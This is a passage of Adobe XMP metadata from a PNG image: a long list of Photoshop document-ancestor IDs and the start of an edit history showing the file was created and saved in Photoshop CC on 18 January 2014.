               <rdf:li>xmp.did:F77F1174072068118DBB8440F51EB1F6</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBA8F193EBC78B</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBAF47CB072C7E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBBF093A1DAA97</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBD50140CE3BE8</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBDA7B868B1240</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DBBF0860F7EDEF0</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118DC196984EFEC09F</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118EDFE3C85FC5A5BD</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F1CFECA782915C6</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F42F1D8108024F1</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62C8684C936145</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62EEA207DB2DFF</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118F62FDBD9649A46B</rdf:li>
               <rdf:li>xmp.did:F77F1174072068118FDCACBD0F46D589</rdf:li>
               <rdf:li>xmp.did:F77F117407206811900D8623FB6CCF2F</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119098A7718DD2EBAF</rdf:li>
               <rdf:li>xmp.did:F77F117407206811910985A437F0D0B3</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109862065E637A5</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109A18D07994BAA</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109AA3891E71C20</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109B80DD3093C00</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109BC552EB79E12</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109C71CF6D9E2A4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109CC85AE74B274</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109D06A8313D563</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109E626B4ED1C3E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109E9DFED7E4777</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109F8FE27718D5A</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119109F9E8629A8F77</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0A1AA0B2EFC15</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0A64B4373937D</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0B6CBB13A5218</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0E5594C694DCA</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0ECAD1A886320</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0FBBB6736D3E0</rdf:li>
               <rdf:li>xmp.did:F77F11740720681192B0FFCA006AF2A6</rdf:li>
               <rdf:li>xmp.did:F77F11740720681194578DD9F557B2A4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457B54112180CB0</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457CF7932149EAA</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119457F7E11EF47C26</rdf:li>
               <rdf:li>xmp.did:F77F11740720681194FC8A3235E08E7E</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEA4D474CEC3A2</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEC0EE3EA39B88</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEC1F5E62B59CE</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEE1ABA1AEE76F</rdf:li>
               <rdf:li>xmp.did:F77F11740720681195FEE3C51095942E</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5860249FA4AD0</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5900666D92FB6</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5B4A19F094348</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5DA6D8D0DCD7B</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5E8F13FE40D34</rdf:li>
               <rdf:li>xmp.did:F77F11740720681197A5E94B7C2456C1</rdf:li>
               <rdf:li>xmp.did:F77F11740720681198E99BCF30868C79</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C86496ABEABAE</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C8A8243CF6DD5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994C91342A691E1C</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CBD3507C9202A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CC8D8F7B54ACA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811994CF1C7CBEFB674</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119B83CEEA27995AC4</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119C12FCC73F11446E</rdf:li>
               <rdf:li>xmp.did:F77F1174072068119EB8F890500830B9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A178B4862A3AC2C7</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A1AFB41E9D0EF6B9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A234A1321D5CA9F9</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A5C2BBA15379BE08</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A6138070A46BCC67</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A613FC07C3D4EEBA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A688C58592B2EC97</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A6FAEA435EC1AF87</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A734B0A0B55FB86C</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7A6EAF54AA2B056</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7BACE4D918669F7</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A7E8FDBEFC40F4C5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AAF1F360BEADB6C0</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AB088ED073FBA775</rdf:li>
               <rdf:li>xmp.did:F77F117407206811ABCDCC7CA4D69551</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AD26F28600CC29DA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AE56D6748533125F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AEE1E85804F1BC1E</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AEF69600F277E5BB</rdf:li>
               <rdf:li>xmp.did:F77F117407206811AFC6D81E688ADBEB</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B04FBAAF7885AEEF</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1A4F6DD83BF03B5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1A4FD6A6A7642F4</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B1B7AA467262CD37</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B516B5B451545A40</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5669AC054FE53DD</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5D8FA3823B95AEA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811B5FEC38E6EA09CBA</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BA24F97E9D027B47</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BAFDD8C559CCB40F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BB5ADC9BC13258B5</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BB8EE28C44C74A0A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BC5391310951E999</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BCF8B60D9469211F</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BEDCA708FFA8A08A</rdf:li>
               <rdf:li>xmp.did:F77F117407206811BF8EAA6E2CF6254A</rdf:li>
               <rdf:li>xmp.did:F791E347532168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:F7A270C2A7A3DF119F139B952251B991</rdf:li>
               <rdf:li>xmp.did:F7CA3D423B2E68118F62E4B54880F119</rdf:li>
               <rdf:li>xmp.did:F7CF60380D21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:F7E00B9F0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:F7EA2E9FF007E011A1CEA84A0C8F47D5</rdf:li>
               <rdf:li>xmp.did:F7F5B118ADA2E211902383721CFF425A</rdf:li>
               <rdf:li>xmp.did:F827F1BBE3C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F84ACF2DBCB2E011A197B9566C7F9C15</rdf:li>
               <rdf:li>xmp.did:F85F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808384D0F1D669E1</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808386F774EDA757</rdf:li>
               <rdf:li>xmp.did:F87F117407206811808399331810C790</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118083CB114F13D92B</rdf:li>
               <rdf:li>xmp.did:F87F117407206811822ADC2C1421690D</rdf:li>
               <rdf:li>xmp.did:F87F117407206811871F833371E134A3</rdf:li>
               <rdf:li>xmp.did:F87F117407206811873CBAB485DC00AA</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C6956C521FE498</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C69EA5821E0BEB</rdf:li>
               <rdf:li>xmp.did:F87F11740720681188C6ED6D188E5A95</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118A6DB10404C03239</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118AE4FE3FBF51A176</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118B96D4CB54D79FC3</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118CB6C84868CF9C29</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118DBBBF093A1DAA97</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62A44CE4DF69A8</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62B218C67CB069</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62C22238EF3839</rdf:li>
               <rdf:li>xmp.did:F87F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:F87F117407206811902EB2E145B56D0D</rdf:li>
               <rdf:li>xmp.did:F87F117407206811910995246128F8DF</rdf:li>
               <rdf:li>xmp.did:F87F11740720681191099AF6DFEFD10B</rdf:li>
               <rdf:li>xmp.did:F87F1174072068119109AAFB9F469FD0</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CA9A71151591E</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CABC2B47FF03F</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CE06D138483BA</rdf:li>
               <rdf:li>xmp.did:F87F117407206811994CFC33510E9D40</rdf:li>
               <rdf:li>xmp.did:F87F1174072068119CD4DB2985335F93</rdf:li>
               <rdf:li>xmp.did:F87F117407206811A5C6DAA4F2903FAD</rdf:li>
               <rdf:li>xmp.did:F87F117407206811A961F86FF52E2C84</rdf:li>
               <rdf:li>xmp.did:F87F117407206811ACA1ABD0ECE4A95A</rdf:li>
               <rdf:li>xmp.did:F87F117407206811B699A901380E7BA5</rdf:li>
               <rdf:li>xmp.did:F87F117407206811B9B1DE3DF693708F</rdf:li>
               <rdf:li>xmp.did:F88F820B1420681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:F8B1200EC82068118F62B55C94B5F1CA</rdf:li>
               <rdf:li>xmp.did:F8B4F25B60206811A613DD728240A3A8</rdf:li>
               <rdf:li>xmp.did:F8BA6C85CA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:F8BC412B0C2068119109C80A4C3147BC</rdf:li>
               <rdf:li>xmp.did:F8E0011C512068119424C177A643562A</rdf:li>
               <rdf:li>xmp.did:F8E327E22F21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:F92117C53520681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:F927F1BBE3C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F93DC7D5DFC5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:F956D1FE2920681192B095AAEA619829</rdf:li>
               <rdf:li>xmp.did:F95F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:F974D8AD50E3DE119B98A0D1FCBA1444</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118083EB83C62BD7C1</rdf:li>
               <rdf:li>xmp.did:F97F11740720681180BACB59FC786B55</rdf:li>
               <rdf:li>xmp.did:F97F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FDE4004ABFCBA</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FEB10CF5631D2</rdf:li>
               <rdf:li>xmp.did:F97F117407206811871FEB8DB824A23C</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DA10CD3CD7468</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DB77C382C0FEB</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118A6DF1EB259C6C29</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118C14886BEA417E94</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBB19E0C24AE1C</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBDD5AE24192C4</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBEB69C03E24DA</rdf:li>
               <rdf:li>xmp.did:F97F1174072068118DBBF1EFF81BD277</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119098A7718DD2EBAF</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B094F11AECB845</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B0E118D6113D9A</rdf:li>
               <rdf:li>xmp.did:F97F11740720681192B0F1027B0A6901</rdf:li>
               <rdf:li>xmp.did:F97F117407206811937C8D085C7056F3</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119889DCBFE0400082</rdf:li>
               <rdf:li>xmp.did:F97F11740720681198F1AB822C242CCF</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119A7F833586C6F350</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:F97F1174072068119BD1C5AE3FAA636F</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AA09A2F8C5F9607C</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AB08F346134D4C66</rdf:li>
               <rdf:li>xmp.did:F97F117407206811AB59EB39818C59AB</rdf:li>
               <rdf:li>xmp.did:F97F117407206811B286BAE449111509</rdf:li>
               <rdf:li>xmp.did:F97F117407206811B7CC8D8DEF16757B</rdf:li>
               <rdf:li>xmp.did:F97F117407206811BEDC9C80BC746BD7</rdf:li>
               <rdf:li>xmp.did:F98F7721465EE011978DEF38B3E75961</rdf:li>
               <rdf:li>xmp.did:F99271120F206811BE9BD62F9D475EB1</rdf:li>
               <rdf:li>xmp.did:F99A94C85A2068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:F9B2F4A030ECDF11B4CD9F957CD01735</rdf:li>
               <rdf:li>xmp.did:F9D2BC0A0398DF118E0DFBCC39F1D70C</rdf:li>
               <rdf:li>xmp.did:F9E00B9F0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:F9E8ECDEEFBDE0118D13AAB82D64C562</rdf:li>
               <rdf:li>xmp.did:F9F16C12E2206811BEDC9678CA0435A7</rdf:li>
               <rdf:li>xmp.did:FA02D8E3A224681197A5FBDC682E9346</rdf:li>
               <rdf:li>xmp.did:FA0B45B42D206811871FA25DC28114E9</rdf:li>
               <rdf:li>xmp.did:FA130DF832216811B6D09349CCF4BD48</rdf:li>
               <rdf:li>xmp.did:FA2E9430BBF1E1118E87BDEFDF4B7379</rdf:li>
               <rdf:li>xmp.did:FA3C53DDCA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FA615A74072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811822A9F727D6911FA</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811845E8FFC1E293EA6</rdf:li>
               <rdf:li>xmp.did:FA7F11740720681188C6AAF38E9FB5F5</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118B55D8122BD4BBDA</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118C14AF6C9BD96AB9</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068118F628C4A209C8985</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109836B7A347A79</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109938AE0070106</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119109D4895471EB7A</rdf:li>
               <rdf:li>xmp.did:FA7F11740720681198F1AB822C242CCF</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811994CA7F06A9500A2</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811994CC56805A67938</rdf:li>
               <rdf:li>xmp.did:FA7F1174072068119D68B0A7E60C0F5F</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811A964A31DC56DDF2F</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811AB0885052E48C102</rdf:li>
               <rdf:li>xmp.did:FA7F117407206811AB59EB39818C59AB</rdf:li>
               <rdf:li>xmp.did:FAAF420C0F206811822A9F727D6911FA</rdf:li>
               <rdf:li>xmp.did:FABA6C85CA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FACF60380D21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:FAD821CC1EB1E011A71D9BAC861B396E</rdf:li>
               <rdf:li>xmp.did:FAEFC6B04EE111E094BED6A6206659D4</rdf:li>
               <rdf:li>xmp.did:FB0CF3AC8B20E011A762E7A2279D143D</rdf:li>
               <rdf:li>xmp.did:FB1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FB2A61F69CE011DF83C0A65F756D654C</rdf:li>
               <rdf:li>xmp.did:FB33C528442068119A56CF70087969A4</rdf:li>
               <rdf:li>xmp.did:FB44CB0E5039E111A6A5FFB9D879379E</rdf:li>
               <rdf:li>xmp.did:FB536F21AB21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:FB5F2D8A79B8E011B8DDB764408DB571</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811808391A5371D201D</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118083EB83C62BD7C1</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871F92CFDFF7440C</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871F92F86C2782CE</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811871FEEA6EC09A2E5</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681188C6CC16CFB2376C</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681188C6FB115CEDFE88</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118A6D938FB70F8224</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118A6DB77C382C0FEB</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F628504B14915F2</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F62B4C0222208FE</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068118F62D1E4D00C3DEC</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068119109C00FC3634517</rdf:li>
               <rdf:li>xmp.did:FB7F1174072068119109D0E02D4CD5E6</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0A1AA0B2EFC15</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0A6951AA679E5</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0BB8DA2E94514</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0DC8DC9EE0D67</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681192B0F1027B0A6901</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A58C87B58F4D68</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A5BD303BD21412</rdf:li>
               <rdf:li>xmp.did:FB7F11740720681197A5CC50EE7F478D</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811A9618972999C1C0D</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AB08D95ECD287044</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AB6BD18007F6B485</rdf:li>
               <rdf:li>xmp.did:FB7F117407206811AFBDF43FFCB42EC5</rdf:li>
               <rdf:li>xmp.did:FBAB123E5C2168119109D5663B354062</rdf:li>
               <rdf:li>xmp.did:FBC4D2040A2068119109CC642C44EC0C</rdf:li>
               <rdf:li>xmp.did:FBF0030BD094DF11B924FFC964F2F0AE</rdf:li>
               <rdf:li>xmp.did:FBF99EB7567DDF11A74EE6CE03994422</rdf:li>
               <rdf:li>xmp.did:FBFE3D4920206811A6139B84BB329A54</rdf:li>
               <rdf:li>xmp.did:FC15090CD995E011BDAADEA50477F66B</rdf:li>
               <rdf:li>xmp.did:FC1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FC366C6EDF75E111A2D7DC31A6196906</rdf:li>
               <rdf:li>xmp.did:FC3C53DDCA61E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:FC5177D26020681192B0FBBB6736D3E0</rdf:li>
               <rdf:li>xmp.did:FC6519253A2068118083EA39B6BAF187</rdf:li>
               <rdf:li>xmp.did:FC6F0BD5F22FE111835FCEA6CCEB95E2</rdf:li>
               <rdf:li>xmp.did:FC7DDCF15997E0118813CD7B5EC42916</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811808391A5371D201D</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118A6DF3C73496F8E5</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118DBBAA650F3D9198</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118DBBF11625A05A5C</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62D51A6DC08DF3</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068118F62F4555C5E84BE</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119109C00FC3634517</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FC7F11740720681192B0A08E4EE6AF18</rdf:li>
               <rdf:li>xmp.did:FC7F1174072068119457840AD566213A</rdf:li>
               <rdf:li>xmp.did:FC7F11740720681194579828B43B938A</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811994CA7F06A9500A2</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811AD43B1EC353D4389</rdf:li>
               <rdf:li>xmp.did:FC7F117407206811AE568088196B6FA8</rdf:li>
               <rdf:li>xmp.did:FCA806F40D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:FCEA85651E2068118F62BF57C8B21ACE</rdf:li>
               <rdf:li>xmp.did:FD186C1C3F3DE211A9C1988C69A109E0</rdf:li>
               <rdf:li>xmp.did:FD31D7243D10E1118C39D2A30E1F8627</rdf:li>
               <rdf:li>xmp.did:FD5731358829E011A5B89CB7630C6210</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FD7F11740720681182FE98EF7F18BF1D</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068118EB4A0B9BBA3EFED</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811910995A4B85C7883</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FD7F1174072068119109EEAF5DE05AA7</rdf:li>
               <rdf:li>xmp.did:FD7F11740720681197A5CC50EE7F478D</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811A178B4862A3AC2C7</rdf:li>
               <rdf:li>xmp.did:FD7F117407206811BF24C98FA878C053</rdf:li>
               <rdf:li>xmp.did:FD8128D861F011E09CB3C7B148487B43</rdf:li>
               <rdf:li>xmp.did:FD903AC7552AE111813897F26901095F</rdf:li>
               <rdf:li>xmp.did:FD97F6DDD0FCE011AFE1E029CA081DF4</rdf:li>
               <rdf:li>xmp.did:FDABDCB6170CE1118F27E0F7E0FBE3E2</rdf:li>
               <rdf:li>xmp.did:FDACD264D365DF118102E6D513DA68F3</rdf:li>
               <rdf:li>xmp.did:FDE245DE1695E1119034DB56C34D7450</rdf:li>
               <rdf:li>xmp.did:FDEEBC462C2068119109C35E4994DFBC</rdf:li>
               <rdf:li>xmp.did:FE04079E3805E111AD37E3018A2F39FA</rdf:li>
               <rdf:li>xmp.did:FE1591B51620681192B0AB18D6F10F7C</rdf:li>
               <rdf:li>xmp.did:FE2A465E4320681188C6E28C6E610B42</rdf:li>
               <rdf:li>xmp.did:FE2A6706AA60E011A98E8847F89F8D20</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068118083E4FF021AA64B</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811822ADA67FA3E7CF7</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811871FF1F3D7C5E4CF</rdf:li>
               <rdf:li>xmp.did:FE7F11740720681188C6CFC36FCEB8B9</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068118F62DD804FF26847</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068119109FEAFD0139520</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811994CFD89901993E5</rdf:li>
               <rdf:li>xmp.did:FE7F1174072068119AFACDD002E68734</rdf:li>
               <rdf:li>xmp.did:FE7F117407206811A961E68EEDC136C8</rdf:li>
               <rdf:li>xmp.did:FE8F876C7E2168118F62E601B48A9F82</rdf:li>
               <rdf:li>xmp.did:FEAEDB180DBDDF118355880DD26B0EE8</rdf:li>
               <rdf:li>xmp.did:FEBA412FE357E1119021ECD684566952</rdf:li>
               <rdf:li>xmp.did:FEC52D397663DF11B26194DD13427F8B</rdf:li>
               <rdf:li>xmp.did:FECDAA679A3EE111B0109A7769D7149C</rdf:li>
               <rdf:li>xmp.did:FED99A8A551FE21188AB8837C60A450C</rdf:li>
               <rdf:li>xmp.did:FF0DA48CE680E0118A00D979C714CA89</rdf:li>
               <rdf:li>xmp.did:FF3550F002AD11E18740F64E75AD4D2A</rdf:li>
               <rdf:li>xmp.did:FF3819F6172068118F62D63BC9AEC7D1</rdf:li>
               <rdf:li>xmp.did:FF431D5D531CE0118516B2A88CCE0B19</rdf:li>
               <rdf:li>xmp.did:FF57693A018EDF11BEBB835A3A1D3CAE</rdf:li>
               <rdf:li>xmp.did:FF6519253A2068118083EA39B6BAF187</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:FF7F11740720681188C69570BE93D174</rdf:li>
               <rdf:li>xmp.did:FF7F1174072068118A6DDF8F0DFF0B44</rdf:li>
               <rdf:li>xmp.did:FF7F1174072068119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:FF7F11740720681197A586CAE747F851</rdf:li>
               <rdf:li>xmp.did:FF7F117407206811AD3E9F58C98DC11C</rdf:li>
               <rdf:li>xmp.did:FF9D5EE8E87CE01185D4A044C68EEC55</rdf:li>
               <rdf:li>xmp.did:FFD0AC0411206811BB8EDD0255C155B9</rdf:li>
               <rdf:li>xmp.did:FFD98459E49FE111A36DFB91276CB217</rdf:li>
               <rdf:li>xmp.did:FFDC8424D4E2DF11AED8B5A8AB741903</rdf:li>
               <rdf:li>xmp.did:ac9f2274-ea44-6e49-bba3-9513f48c382b</rdf:li>
            </rdf:Bag>
         </photoshop:DocumentAncestors>
         <dc:format>image/png</dc:format>
         <xmpMM:InstanceID>xmp.iid:687fa8f0-b0ae-3349-9a46-943ff15ae344</xmpMM:InstanceID>
         <xmpMM:DocumentID>xmp.did:326bb76e-2b8c-a44e-a308-15d83ac59b46</xmpMM:DocumentID>
         <xmpMM:OriginalDocumentID>xmp.did:326bb76e-2b8c-a44e-a308-15d83ac59b46</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>created</stEvt:action>
                  <stEvt:instanceID>xmp.iid:326bb76e-2b8c-a44e-a308-15d83ac59b46</stEvt:instanceID>
                  <stEvt:when>2014-01-18T22:00:41+05:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:1229c111-0857-5b48-aafe-a1b228e6cecd</stEvt:instanceID>
                  <stEvt:when>2014-01-18T22:30:27+05:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
